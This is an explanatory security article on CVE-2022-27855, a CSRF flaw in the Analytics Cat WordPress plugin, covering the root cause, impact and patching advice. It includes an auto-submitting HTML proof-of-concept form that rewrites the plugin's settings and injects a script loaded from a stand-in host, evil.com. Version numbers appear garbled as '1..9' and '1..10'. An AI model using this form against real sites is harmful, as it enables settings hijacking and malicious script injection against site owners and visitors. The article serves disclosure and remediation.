A serious Cross-Site Request Forgery (CSRF) vulnerability, tracked as CVE-2022-27855, was discovered in the Fatcat Apps *Analytics Cat* plugin (version 1..9 and below) for WordPress. This bug can let an attacker remotely change the plugin settings without needing to know or guess the admin password—all thanks to missing CSRF protections.

In this long read, we will dive into what CSRF is, show how this bug works, demonstrate with code, and link to all original reference sources.

What is CSRF?

Cross-Site Request Forgery (CSRF) tricks a logged-in admin (or another user with appropriate privileges) into clicking a carefully crafted link or loading a malicious page. When that happens, their browser unknowingly sends an HTTP request to their own WordPress site. Since their session cookies are automatically sent, the server thinks the request comes right from the admin.

If the app doesn’t check for forged requests (using CSRF tokens or nonces), a hacker can force an admin to, for example, *change settings*, *add accounts*, or *install plugins* — just by visiting a web page.

About the Buggy Plugin

Analytics Cat is a popular, free plugin for easily adding Google Analytics or other tracking scripts to WordPress.

Unfortunately, versions up to 1..9 did not check for CSRF tokens in their settings change logic!

Impact: Unauthenticated attackers can change plugin settings via crafted requests

- CVE Details: NVD - CVE-2022-27855

Root Cause

When you save changes in Analytics Cat, it sends a POST request (typically to /wp-admin/options-general.php?page=analytics-cat) with new values for the settings. No WordPress nonce is required.

So, if an admin is logged in and loads a malicious web page, their browser will send the malicious request “from them.”

How an Attack Works

To exploit this, an attacker builds and hosts a web page (or tricks the admin into running a script) containing a hidden form that submits new settings to the vulnerable WordPress site.

Proof of Concept Code

Here is a sample CSRF exploit. If an admin is logged in and visits this, it changes the Analytics Cat tracking ID:

<!-- attacker-site.com/csrf.html -->
<html>
  <body>
    <form id="csrf-form" action="https://victim-wordpress-site.com/wp-admin/options-general.php?page=analytics-cat"; method="POST">
      <!-- key 'analytics_cat[ua]' is the plugin's Google Analytics ID field -->
      <input type="hidden" name="analytics_cat[ua]" value="UA-99999999-9">
      <input type="hidden" name="analytics_cat[custom_js]" value="<script src='https://evil.com/malware.js'></script>">;
      <input type="hidden" name="submit" value="Save Changes">
    </form>
    <script>
      document.getElementById('csrf-form').submit();
    </script>
  </body>
</html>

What does this do?

- If a logged-in admin happens to load this page, their browser submits the form with their cookies.
- The attacker can change the Google Analytics ID, fill in the custom tracking JS field (possibly to inject malicious scripts!), or otherwise alter plugin behavior.

Website tracking can be hijacked by changing the Google Analytics ID.

- If the plugin allows arbitrary JS or code in settings, arbitrary script injection may be possible (turns into a possible XSS or malware dropper).
- Site data and traffic can be redirected, damaging site owner revenue/statistics.

UPDATE THE PLUGIN!

- Analytics Cat changelog
  - Version 1..10 and newer check for proper security (check_admin_referer() using WordPress nonces).

3. Developers: Always use WordPress nonces on every sensitive form/action!

Official References

- Plugin on WordPress.org
- NVD Entry: CVE-2022-27855
- Patch diff
- Plugin changelog

Further Reading

- OWASP: Cross-Site Request Forgery (CSRF)
- WordPress Nonces and Security
- How to Report Security Bugs in WordPress Plugins

Conclusion

CVE-2022-27855 is a classic example of how easy it is to exploit a WordPress plugin missing CSRF protection. If you run Analytics Cat, update now! If you develop WordPress code, always use nonces for every settings form.

Stay patched, stay safe!

*This article is exclusive to Exploit Explorer — please share responsibly. For remediation tips or help with securing your WordPress site, comment below!*

Timeline

Published on: 11/08/2022 19:15:00 UTC
Last modified on: 11/09/2022 14:04:00 UTC